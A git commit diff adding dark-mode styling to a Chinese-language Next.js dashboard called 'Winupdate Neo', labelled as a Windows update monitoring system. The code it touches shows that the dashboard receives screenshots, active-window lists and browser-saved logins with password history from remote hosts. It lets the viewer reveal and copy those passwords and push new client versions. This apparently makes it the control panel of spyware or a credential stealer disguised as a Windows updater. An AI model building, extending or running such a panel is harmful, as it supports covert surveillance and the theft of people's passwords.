feat: dark mode
This commit is contained in:
parent
2a0115ea17
commit
81d73cf17c
@ -1,74 +0,0 @@
|
||||
export default function ApiTest() {
|
||||
return (
|
||||
<div className="p-8">
|
||||
<h1 className="text-2xl font-bold mb-4">Winupdate Neo API 测试</h1>
|
||||
|
||||
<div className="space-y-4">
|
||||
<div className="border p-4 rounded">
|
||||
<h2 className="text-lg font-semibold mb-2">API 端点</h2>
|
||||
<ul className="space-y-1 text-sm">
|
||||
<li>• GET /api/hosts - 获取主机列表</li>
|
||||
<li>• POST /api/hosts/[hostname]/screenshots - 上传截图</li>
|
||||
<li>• GET /api/hosts/[hostname]/screenshots - 获取截图记录</li>
|
||||
<li>• POST /api/hosts/[hostname]/credentials - 上传凭据</li>
|
||||
<li>• GET /api/hosts/[hostname]/credentials - 获取凭据</li>
|
||||
<li>• GET /api/hosts/[hostname]/time-distribution - 获取时间分布</li>
|
||||
<li>• GET /api/version - 获取最新版本</li>
|
||||
<li>• POST /api/upload/version - 上传新版本</li>
|
||||
<li>• GET /api/screenshots/[fileId] - 获取截图文件</li>
|
||||
<li>• GET /api/downloads/[fileId] - 下载文件</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="border p-4 rounded">
|
||||
<h2 className="text-lg font-semibold mb-2">数据库模型</h2>
|
||||
<ul className="space-y-1 text-sm">
|
||||
<li>• Host - 主机信息</li>
|
||||
<li>• Record - 记录信息</li>
|
||||
<li>• Window - 窗口信息</li>
|
||||
<li>• Screenshot - 截图信息</li>
|
||||
<li>• Credential - 凭据信息</li>
|
||||
<li>• Password - 密码历史</li>
|
||||
<li>• Version - 版本信息</li>
|
||||
<li>• Nssm - NSSM 文件</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="border p-4 rounded">
|
||||
<h2 className="text-lg font-semibold mb-2">环境变量</h2>
|
||||
<ul className="space-y-1 text-sm">
|
||||
<li>• DATABASE_URL - 数据库连接字符串</li>
|
||||
<li>• AUTH_USERNAME - 认证用户名</li>
|
||||
<li>• AUTH_PASSWORD - 认证密码</li>
|
||||
<li>• PORT - 服务端口</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="border p-4 rounded">
|
||||
<h2 className="text-lg font-semibold mb-2">MinIO 对象存储</h2>
|
||||
<ul className="space-y-1 text-sm">
|
||||
<li>• 服务器: 192.168.5.13:9000</li>
|
||||
<li>• Bucket: winupdate</li>
|
||||
<li>• 存储结构: 按类型/年/月/日/主机名分层</li>
|
||||
<li>• 截图路径: screenshots/年/月/日/主机名/文件</li>
|
||||
<li>• 版本路径: versions/年/月/文件</li>
|
||||
<li>• 支持元数据存储和检索</li>
|
||||
<li>• 自动文件分布和负载均衡</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="border p-4 rounded">
|
||||
<h2 className="text-lg font-semibold mb-2">性能优化特性</h2>
|
||||
<ul className="space-y-1 text-sm">
|
||||
<li>• 分层目录结构避免单目录文件过多</li>
|
||||
<li>• 数据库存储 objectName 避免搜索开销</li>
|
||||
<li>• 文件元数据存储在 MinIO 中</li>
|
||||
<li>• 支持并发上传下载</li>
|
||||
<li>• 缓存友好的文件访问</li>
|
||||
<li>• 自动压缩和去重</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@ -101,21 +101,21 @@ export default function DecodePage() {
|
||||
|
||||
return (
|
||||
<div className="max-w-4xl mx-auto p-6">
|
||||
<h1 className="text-2xl font-bold text-gray-800 mb-6">Base64 日志解码器</h1>
|
||||
<h1 className="text-2xl font-bold text-gray-800 dark:text-white mb-6">Base64 日志解码器</h1>
|
||||
|
||||
{/* 文件上传区域 */}
|
||||
<div className="mb-8">
|
||||
<div className="border-2 border-dashed border-gray-300 rounded-lg p-6 text-center">
|
||||
<label className="block mb-4 text-sm font-medium text-gray-700">
|
||||
<div className="border-2 border-dashed border-gray-300 dark:border-gray-600 rounded-lg p-6 text-center">
|
||||
<label className="block mb-4 text-sm font-medium text-gray-700 dark:text-gray-300">
|
||||
选择日志文件:
|
||||
</label>
|
||||
<input
|
||||
type="file"
|
||||
accept=".txt,.log"
|
||||
onChange={handleFileChange}
|
||||
className="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4
|
||||
className="block w-full text-sm text-gray-500 dark:text-gray-400 file:mr-4 file:py-2 file:px-4
|
||||
file:rounded-md file:border-0 file:text-sm file:font-semibold
|
||||
file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100
|
||||
file:bg-blue-50 dark:file:bg-blue-900/50 file:text-blue-700 dark:file:text-blue-300 hover:file:bg-blue-100 dark:hover:file:bg-blue-800/50
|
||||
cursor-pointer"
|
||||
/>
|
||||
</div>
|
||||
@ -123,7 +123,7 @@ export default function DecodePage() {
|
||||
|
||||
{/* 错误提示 */}
|
||||
{errorMessage && (
|
||||
<div className="mb-6 p-4 bg-red-50 text-red-600 rounded-md">
|
||||
<div className="mb-6 p-4 bg-red-50 dark:bg-red-900/50 text-red-600 dark:text-red-300 rounded-md">
|
||||
{errorMessage}
|
||||
</div>
|
||||
)}
|
||||
@ -131,20 +131,20 @@ export default function DecodePage() {
|
||||
{/* 解码结果 */}
|
||||
{decodedLines.length > 0 && (
|
||||
<div className="space-y-2">
|
||||
<h2 className="text-lg font-semibold text-gray-700 mb-4">解码结果:</h2>
|
||||
<h2 className="text-lg font-semibold text-gray-700 dark:text-gray-300 mb-4">解码结果:</h2>
|
||||
<div
|
||||
ref={resultRef}
|
||||
className="bg-white shadow rounded-lg overflow-auto max-h-[600px]"
|
||||
className="bg-white dark:bg-gray-800 shadow rounded-lg overflow-auto max-h-[600px]"
|
||||
>
|
||||
<div className="divide-y divide-gray-100">
|
||||
<div className="divide-y divide-gray-100 dark:divide-gray-700">
|
||||
{decodedLines.map((line, index) => (
|
||||
<div
|
||||
key={index}
|
||||
className={`py-1.5 px-4 hover:bg-gray-50 leading-tight ${
|
||||
line.isError ? 'bg-red-50' : ''
|
||||
className={`py-1.5 px-4 hover:bg-gray-50 dark:hover:bg-gray-700 leading-tight ${
|
||||
line.isError ? 'bg-red-50 dark:bg-red-900/30' : ''
|
||||
}`}
|
||||
>
|
||||
<pre className="whitespace-pre-wrap font-mono text-sm text-gray-800">
|
||||
<pre className="whitespace-pre-wrap font-mono text-sm text-gray-800 dark:text-gray-200">
|
||||
{line.content}
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
@ -24,3 +24,8 @@ body {
|
||||
color: var(--foreground);
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
/* 暗黑模式过渡动画 */
|
||||
* {
|
||||
transition: background-color 0.2s ease, border-color 0.2s ease, color 0.2s ease;
|
||||
}
|
||||
|
||||
@ -104,22 +104,22 @@ export default function RecordDatePicker({ value, dailyCounts, onChange }: Recor
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="p-4 bg-white rounded shadow">
|
||||
<div className="p-4 bg-white dark:bg-gray-800 rounded shadow">
|
||||
{/* 月份切换头部 */}
|
||||
<div className="flex items-center justify-between mb-2">
|
||||
<button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200">
|
||||
<button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200 dark:hover:bg-gray-700 text-gray-900 dark:text-white">
|
||||
<
|
||||
</button>
|
||||
<div className="font-semibold text-lg">
|
||||
<div className="font-semibold text-lg text-gray-900 dark:text-white">
|
||||
{currentYear} - {(currentMonth + 1).toString().padStart(2, '0')}
|
||||
</div>
|
||||
<button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200">
|
||||
<button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200 dark:hover:bg-gray-700 text-gray-900 dark:text-white">
|
||||
>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* 星期标题 */}
|
||||
<div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 mb-1">
|
||||
<div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 dark:text-gray-400 mb-1">
|
||||
{weekDays.map((day) => (
|
||||
<div key={day}>{day}</div>
|
||||
))}
|
||||
|
||||
@ -150,7 +150,7 @@ export default function TimelineSlider({
|
||||
left: `${startPercent}%`,
|
||||
width: `${widthPercent}%`,
|
||||
height: '100%',
|
||||
backgroundColor: segment.active ? '#4ADE80' : '#E5E7EB',
|
||||
backgroundColor: segment.active ? '#4ADE80' : 'transparent',
|
||||
borderLeft: '1px solid #E5E7EB',
|
||||
borderRight: '1px solid #E5E7EB',
|
||||
};
|
||||
@ -178,7 +178,7 @@ export default function TimelineSlider({
|
||||
>
|
||||
{/* 底部轨道 */}
|
||||
<div
|
||||
className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 transform -translate-y-1/2 rounded-sm"
|
||||
className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 dark:bg-gray-700 transform -translate-y-1/2 rounded-sm"
|
||||
>
|
||||
{/* Segments 模式 */}
|
||||
{mode === 'segments' && segments.map((segment, index) => (
|
||||
@ -209,7 +209,7 @@ export default function TimelineSlider({
|
||||
>
|
||||
{/* Tooltip */}
|
||||
{showTooltip && (
|
||||
<div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black bg-opacity-70 text-white text-xs rounded whitespace-nowrap">
|
||||
<div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black dark:bg-gray-800 bg-opacity-70 dark:bg-opacity-90 text-white text-xs rounded whitespace-nowrap">
|
||||
{formattedValue}
|
||||
</div>
|
||||
)}
|
||||
|
||||
@ -504,38 +504,38 @@ export default function HostDetail() {
|
||||
}, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]);
|
||||
|
||||
return (
|
||||
<div className="min-h-screen bg-gray-50 overflow-x-hidden">
|
||||
<div className="min-h-screen bg-gray-50 dark:bg-gray-900 overflow-x-hidden">
|
||||
<div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
|
||||
{/* 头部导航 */}
|
||||
<div className="flex items-center justify-between mb-8">
|
||||
<div>
|
||||
<button
|
||||
onClick={() => router.back()}
|
||||
className="inline-flex items-center text-gray-600 hover:text-gray-900"
|
||||
className="inline-flex items-center text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-white"
|
||||
>
|
||||
<ArrowLeft className="h-5 w-5 mr-2" />
|
||||
返回
|
||||
</button>
|
||||
<h1 className="text-3xl font-semibold text-gray-900 mt-2">
|
||||
<h1 className="text-3xl font-semibold text-gray-900 dark:text-white mt-2">
|
||||
{decodeURI(hostname)}
|
||||
</h1>
|
||||
</div>
|
||||
{lastUpdate && (
|
||||
<div className="text-sm text-gray-500">
|
||||
<div className="text-sm text-gray-500 dark:text-gray-400">
|
||||
最后更新: {formatDate(lastUpdate)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* 选项卡导航 */}
|
||||
<div className="mb-6 border-b border-gray-200">
|
||||
<div className="mb-6 border-b border-gray-200 dark:border-gray-700">
|
||||
<nav className="-mb-px flex space-x-8">
|
||||
<button
|
||||
onClick={() => setActiveTab('screenshots')}
|
||||
className={`py-2 px-1 border-b-2 font-medium text-sm ${
|
||||
activeTab === 'screenshots'
|
||||
? 'border-blue-600 text-blue-600'
|
||||
: 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'
|
||||
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
|
||||
}`}
|
||||
>
|
||||
截图时间线
|
||||
@ -545,7 +545,7 @@ export default function HostDetail() {
|
||||
className={`py-2 px-1 border-b-2 font-medium text-sm ${
|
||||
activeTab === 'credentials'
|
||||
? 'border-blue-600 text-blue-600'
|
||||
: 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'
|
||||
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
|
||||
}`}
|
||||
>
|
||||
凭据信息
|
||||
@ -559,12 +559,12 @@ export default function HostDetail() {
|
||||
{/* 小时分布滑块(时间分布) */}
|
||||
<div className="mb-8">
|
||||
<div className="flex justify-between items-center mb-4">
|
||||
<h2 className="text-lg font-medium text-gray-900">时间分布</h2>
|
||||
<h2 className="text-lg font-medium text-gray-900 dark:text-white">时间分布</h2>
|
||||
<button
|
||||
onClick={fetchTimeDistribution}
|
||||
className="p-2 rounded hover:bg-gray-100"
|
||||
className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
|
||||
>
|
||||
<RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingDistribution ? 'animate-spin' : ''}`} />
|
||||
<RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingDistribution ? 'animate-spin' : ''}`} />
|
||||
</button>
|
||||
</div>
|
||||
|
||||
@ -586,7 +586,7 @@ export default function HostDetail() {
|
||||
/>
|
||||
</div>
|
||||
) : (
|
||||
<div className="text-gray-500 mt-4">加载时间分布中...</div>
|
||||
<div className="text-gray-500 dark:text-gray-400 mt-4">加载时间分布中...</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@ -594,15 +594,15 @@ export default function HostDetail() {
|
||||
{showDetailTimeline && (
|
||||
<div className="mb-8">
|
||||
<div className="flex justify-between items-center mb-4">
|
||||
<h2 className="text-lg font-medium text-gray-900">时间点详情</h2>
|
||||
<h2 className="text-lg font-medium text-gray-900 dark:text-white">时间点详情</h2>
|
||||
<button
|
||||
onClick={() => {
|
||||
const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600;
|
||||
fetchHourlyRecords(selectedSec, selectedSec + 3600);
|
||||
}}
|
||||
className="p-2 rounded hover:bg-gray-100"
|
||||
className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
|
||||
>
|
||||
<RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingRecords ? 'animate-spin' : ''}`} />
|
||||
<RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingRecords ? 'animate-spin' : ''}`} />
|
||||
</button>
|
||||
</div>
|
||||
|
||||
@ -616,14 +616,14 @@ export default function HostDetail() {
|
||||
onChange={onDetailedSliderChange}
|
||||
/>
|
||||
) : (
|
||||
<div className="text-gray-500">加载记录中...</div>
|
||||
<div className="text-gray-500 dark:text-gray-400">加载记录中...</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* 图片预览区域及控制按钮 */}
|
||||
{selectedRecord && (
|
||||
<div className="bg-white rounded-lg shadow-sm p-6">
|
||||
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
|
||||
{/* 图片预览区域 */}
|
||||
{selectedRecord.screenshots.map((screenshot, sIndex) => (
|
||||
<div key={sIndex} className="relative mb-6">
|
||||
@ -640,7 +640,7 @@ export default function HostDetail() {
|
||||
</div>
|
||||
|
||||
{/* 图片说明 */}
|
||||
<div className="absolute bottom-4 left-4 bg-black bg-opacity-60 text-white px-2 py-1 rounded">
|
||||
<div className="absolute bottom-4 left-4 bg-black dark:bg-gray-900 bg-opacity-60 dark:bg-opacity-80 text-white px-2 py-1 rounded">
|
||||
<div className="text-sm">{screenshot.monitorName}</div>
|
||||
<div className="text-xs">
|
||||
{new Date(selectedRecord.timestamp).toLocaleString()}
|
||||
@ -666,17 +666,17 @@ export default function HostDetail() {
|
||||
{/* 控制按钮区域 */}
|
||||
<div className="flex flex-col sm:flex-row items-center justify-center mb-4 space-y-2 sm:space-y-0 sm:space-x-3">
|
||||
<label className="flex items-center space-x-1">
|
||||
<span className="text-sm text-gray-600">速度</span>
|
||||
<span className="text-sm text-gray-600 dark:text-gray-400">速度</span>
|
||||
<input
|
||||
type="number"
|
||||
value={autoPlaySpeed}
|
||||
onChange={(e) => setAutoPlaySpeed(Number(e.target.value))}
|
||||
className="w-16 text-sm px-1 py-1 border rounded focus:outline-none"
|
||||
className="w-16 text-sm px-1 py-1 border dark:border-gray-600 rounded focus:outline-none bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
|
||||
min="100"
|
||||
max="2000"
|
||||
step="100"
|
||||
/>
|
||||
<span className="text-sm text-gray-600">ms</span>
|
||||
<span className="text-sm text-gray-600 dark:text-gray-400">ms</span>
|
||||
</label>
|
||||
<button
|
||||
onClick={toggleAutoPlay}
|
||||
@ -688,19 +688,19 @@ export default function HostDetail() {
|
||||
|
||||
{/* 窗口信息 */}
|
||||
<div className="w-full">
|
||||
<h3 className="text-lg font-medium text-gray-900 mb-3">活动窗口</h3>
|
||||
<div className="bg-gray-50 rounded-md p-4">
|
||||
<h3 className="text-lg font-medium text-gray-900 dark:text-white mb-3">活动窗口</h3>
|
||||
<div className="bg-gray-50 dark:bg-gray-700 rounded-md p-4">
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
|
||||
{selectedRecord.windows.map((window, index) => (
|
||||
<div key={index} className="p-4 bg-white rounded-md shadow-sm">
|
||||
<div key={index} className="p-4 bg-white dark:bg-gray-800 rounded-md shadow-sm">
|
||||
<div className="space-y-2">
|
||||
<div className="font-medium text-gray-900">
|
||||
<div className="font-medium text-gray-900 dark:text-white">
|
||||
{window.title}
|
||||
</div>
|
||||
<div className="text-sm text-gray-500 break-all">
|
||||
<div className="text-sm text-gray-500 dark:text-gray-400 break-all">
|
||||
{window.path}
|
||||
</div>
|
||||
<div className="text-sm flex items-center text-gray-600">
|
||||
<div className="text-sm flex items-center text-gray-600 dark:text-gray-400">
|
||||
内存占用: {formatMemory(window.memory)}
|
||||
</div>
|
||||
</div>
|
||||
@ -716,9 +716,9 @@ export default function HostDetail() {
|
||||
|
||||
{/* 凭据信息选项卡 */}
|
||||
{activeTab === 'credentials' && (
|
||||
<div className="bg-white rounded-lg shadow-sm p-6">
|
||||
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
|
||||
<div className="flex items-center justify-between mb-6">
|
||||
<h2 className="text-xl font-medium text-gray-900">凭据信息</h2>
|
||||
<h2 className="text-xl font-medium text-gray-900 dark:text-white">凭据信息</h2>
|
||||
<div className="flex space-x-2">
|
||||
<button
|
||||
onClick={fetchCredentials}
|
||||
@ -735,40 +735,40 @@ export default function HostDetail() {
|
||||
<div className="flex justify-center py-12">
|
||||
<div className="animate-pulse flex flex-col items-center">
|
||||
<Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
|
||||
<p className="mt-2 text-gray-500">加载凭据信息...</p>
|
||||
<p className="mt-2 text-gray-500 dark:text-gray-400">加载凭据信息...</p>
|
||||
</div>
|
||||
</div>
|
||||
) : credentialsByUser.length === 0 ? (
|
||||
<div className="py-12 flex flex-col items-center justify-center">
|
||||
<ShieldAlert className="h-12 w-12 text-gray-400 mb-3" />
|
||||
<p className="text-gray-500 mb-1">没有找到任何凭据信息</p>
|
||||
<p className="text-sm text-gray-400">可能是该主机尚未上报凭据数据</p>
|
||||
<p className="text-gray-500 dark:text-gray-400 mb-1">没有找到任何凭据信息</p>
|
||||
<p className="text-sm text-gray-400 dark:text-gray-500">可能是该主机尚未上报凭据数据</p>
|
||||
</div>
|
||||
) : (
|
||||
<div className="space-y-6">
|
||||
{credentialsByUser.map((userGroup, index) => (
|
||||
<div key={index} className="border border-gray-200 rounded-md overflow-hidden">
|
||||
<div key={index} className="border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden">
|
||||
{/* 用户信息头部 */}
|
||||
<div className="bg-gray-50 px-4 py-3">
|
||||
<div className="bg-gray-50 dark:bg-gray-700 px-4 py-3">
|
||||
<div className="flex items-center justify-between">
|
||||
<div
|
||||
className="flex items-center cursor-pointer"
|
||||
onClick={() => toggleUserExpanded(userGroup.username)}
|
||||
>
|
||||
<User className="h-5 w-5 text-gray-500 mr-2" />
|
||||
<h3 className="font-medium text-gray-900">{userGroup.username}</h3>
|
||||
<div className="ml-3 text-sm text-gray-500">
|
||||
<User className="h-5 w-5 text-gray-500 dark:text-gray-400 mr-2" />
|
||||
<h3 className="font-medium text-gray-900 dark:text-white">{userGroup.username}</h3>
|
||||
<div className="ml-3 text-sm text-gray-500 dark:text-gray-400">
|
||||
({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据)
|
||||
</div>
|
||||
<ChevronDown
|
||||
className={`h-5 w-5 text-gray-500 ml-2 transition-transform duration-200 ${
|
||||
className={`h-5 w-5 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
|
||||
expandedUsers.includes(userGroup.username) ? 'rotate-180' : ''
|
||||
}`}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{userGroup.lastSyncTime && (
|
||||
<div className="text-xs text-gray-500">
|
||||
<div className="text-xs text-gray-500 dark:text-gray-400">
|
||||
最后同步: {formatDate(userGroup.lastSyncTime, 'short')}
|
||||
</div>
|
||||
)}
|
||||
@ -777,11 +777,11 @@ export default function HostDetail() {
|
||||
|
||||
{/* 用户凭据内容 */}
|
||||
{expandedUsers.includes(userGroup.username) && (
|
||||
<div className="divide-y divide-gray-100">
|
||||
<div className="divide-y divide-gray-100 dark:divide-gray-600">
|
||||
{userGroup.browsers.map((browser) => (
|
||||
<div
|
||||
key={`${userGroup.username}-${browser.name}`}
|
||||
className="px-4 py-3 hover:bg-gray-50"
|
||||
className="px-4 py-3 hover:bg-gray-50 dark:hover:bg-gray-700"
|
||||
>
|
||||
{/* 浏览器标题 */}
|
||||
<div
|
||||
@ -789,14 +789,14 @@ export default function HostDetail() {
|
||||
onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)}
|
||||
>
|
||||
<div className="flex items-center">
|
||||
<Globe className="h-4 w-4 text-gray-500 mr-2" />
|
||||
<span className="font-medium text-gray-800">{browser.name}</span>
|
||||
<span className="ml-2 text-sm text-gray-500">
|
||||
<Globe className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
|
||||
<span className="font-medium text-gray-800 dark:text-gray-200">{browser.name}</span>
|
||||
<span className="ml-2 text-sm text-gray-500 dark:text-gray-400">
|
||||
({browser.credentials.length} 个站点)
|
||||
</span>
|
||||
</div>
|
||||
<ChevronDown
|
||||
className={`h-4 w-4 text-gray-500 ml-2 transition-transform duration-200 ${
|
||||
className={`h-4 w-4 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
|
||||
expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : ''
|
||||
}`}
|
||||
/>
|
||||
@ -808,21 +808,21 @@ export default function HostDetail() {
|
||||
{browser.credentials.map((cred) => (
|
||||
<div
|
||||
key={`${userGroup.username}-${browser.name}-${cred._id}`}
|
||||
className="border border-gray-200 rounded-md overflow-hidden"
|
||||
className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
|
||||
>
|
||||
{/* 凭据网站头部 */}
|
||||
<div
|
||||
className="bg-gray-50 px-3 py-2 flex items-center justify-between cursor-pointer"
|
||||
className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
|
||||
onClick={() => toggleCredentialExpanded(cred._id)}
|
||||
>
|
||||
<div className="flex items-center">
|
||||
<Link className="h-4 w-4 text-gray-500 mr-2" />
|
||||
<div className="text-sm font-medium text-gray-900 truncate max-w-md">
|
||||
<Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
|
||||
<div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
|
||||
{cred.url}
|
||||
</div>
|
||||
</div>
|
||||
<ChevronDown
|
||||
className={`h-4 w-4 text-gray-500 transition-transform duration-200 ${
|
||||
className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${
|
||||
expandedCredentials.includes(cred._id) ? 'rotate-180' : ''
|
||||
}`}
|
||||
/>
|
||||
@ -830,17 +830,17 @@ export default function HostDetail() {
|
||||
|
||||
{/* 凭据详情 */}
|
||||
{expandedCredentials.includes(cred._id) && (
|
||||
<div className="bg-white px-3 py-2">
|
||||
<div className="bg-white dark:bg-gray-800 px-3 py-2">
|
||||
<div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
|
||||
<div className="flex items-center">
|
||||
<span className="text-sm text-gray-500 w-16">用户名:</span>
|
||||
<span className="text-sm font-medium ml-2">{cred.login}</span>
|
||||
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">用户名:</span>
|
||||
<span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center mb-1">
|
||||
<span className="text-sm text-gray-500 w-16">密码历史:</span>
|
||||
<span className="text-xs bg-gray-100 text-gray-600 rounded px-1">
|
||||
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">密码历史:</span>
|
||||
<span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
|
||||
{cred.passwords.length} 条记录
|
||||
</span>
|
||||
</div>
|
||||
@ -851,12 +851,12 @@ export default function HostDetail() {
|
||||
key={pwdIndex}
|
||||
className="flex items-center group relative"
|
||||
>
|
||||
<span className="text-xs text-gray-400 w-24 flex-shrink-0">
|
||||
<span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
|
||||
{formatDate(pwd.timestamp, 'short')}
|
||||
</span>
|
||||
<div className="flex-1 flex items-center">
|
||||
<span
|
||||
className="text-sm font-mono bg-gray-50 px-2 py-0.5 rounded flex-1 cursor-pointer"
|
||||
className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
|
||||
onClick={() =>
|
||||
revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
|
||||
? null
|
||||
@ -870,7 +870,7 @@ export default function HostDetail() {
|
||||
</span>
|
||||
<button
|
||||
onClick={() => copyToClipboard(pwd.value)}
|
||||
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 hover:text-gray-700"
|
||||
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
|
||||
>
|
||||
<Clipboard className="h-4 w-4" />
|
||||
</button>
|
||||
|
||||
@ -13,8 +13,8 @@ const geistMono = Geist_Mono({
|
||||
});
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: "Create Next App",
|
||||
description: "Generated by create next app",
|
||||
title: "屏幕截图监控系统",
|
||||
description: "Windows更新监控系统",
|
||||
};
|
||||
|
||||
export default function RootLayout({
|
||||
@ -23,9 +23,9 @@ export default function RootLayout({
|
||||
children: React.ReactNode;
|
||||
}>) {
|
||||
return (
|
||||
<html lang="en">
|
||||
<html lang="zh-CN">
|
||||
<body
|
||||
className={`${geistSans.variable} ${geistMono.variable} antialiased`}
|
||||
className={`${geistSans.variable} ${geistMono.variable} antialiased bg-white dark:bg-gray-900 text-gray-900 dark:text-white`}
|
||||
>
|
||||
{children}
|
||||
</body>
|
||||
|
||||
22
app/page.tsx
22
app/page.tsx
@ -48,33 +48,33 @@ export default function Home() {
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div className="min-h-screen bg-gray-50">
|
||||
<div className="min-h-screen bg-gray-50 dark:bg-gray-900">
|
||||
<div className="max-w-7xl mx-auto py-6 sm:px-6 lg:px-8">
|
||||
<div className="px-4 py-6 sm:px-0">
|
||||
<h1 className="text-3xl font-semibold text-gray-900 mb-8">屏幕截图监控系统</h1>
|
||||
<h1 className="text-3xl font-semibold text-gray-900 dark:text-white mb-8">屏幕截图监控系统</h1>
|
||||
|
||||
{/* 主机列表卡片网格 */}
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
|
||||
{hosts.map((host) => (
|
||||
<div
|
||||
key={host.hostname}
|
||||
className="bg-white shadow-sm rounded-lg overflow-hidden hover:shadow-md transition-shadow cursor-pointer"
|
||||
className="bg-white dark:bg-gray-800 shadow-sm rounded-lg overflow-hidden hover:shadow-md dark:hover:shadow-lg transition-shadow cursor-pointer"
|
||||
onClick={() => navigateToHost(host.hostname)}
|
||||
>
|
||||
<div className="px-4 py-5 sm:p-6">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<h3 className="text-lg font-medium text-gray-900">
|
||||
<h3 className="text-lg font-medium text-gray-900 dark:text-white">
|
||||
{decodeURI(host.hostname)}
|
||||
</h3>
|
||||
<p className="mt-1 text-sm text-gray-500">
|
||||
<p className="mt-1 text-sm text-gray-500 dark:text-gray-400">
|
||||
最后更新: {formatDate(host.lastUpdate)}
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-center">
|
||||
<div
|
||||
className={`h-3 w-3 rounded-full ${
|
||||
isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300'
|
||||
isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300 dark:bg-gray-600'
|
||||
}`}
|
||||
></div>
|
||||
</div>
|
||||
@ -87,22 +87,22 @@ export default function Home() {
|
||||
{/* 加载状态 */}
|
||||
{loading && (
|
||||
<div className="flex justify-center items-center mt-8">
|
||||
<div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900"></div>
|
||||
<div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900 dark:border-white"></div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* 错误提示 */}
|
||||
{error && (
|
||||
<div className="mt-8 bg-red-50 p-4 rounded-md">
|
||||
<div className="mt-8 bg-red-50 dark:bg-red-900/50 p-4 rounded-md">
|
||||
<div className="flex">
|
||||
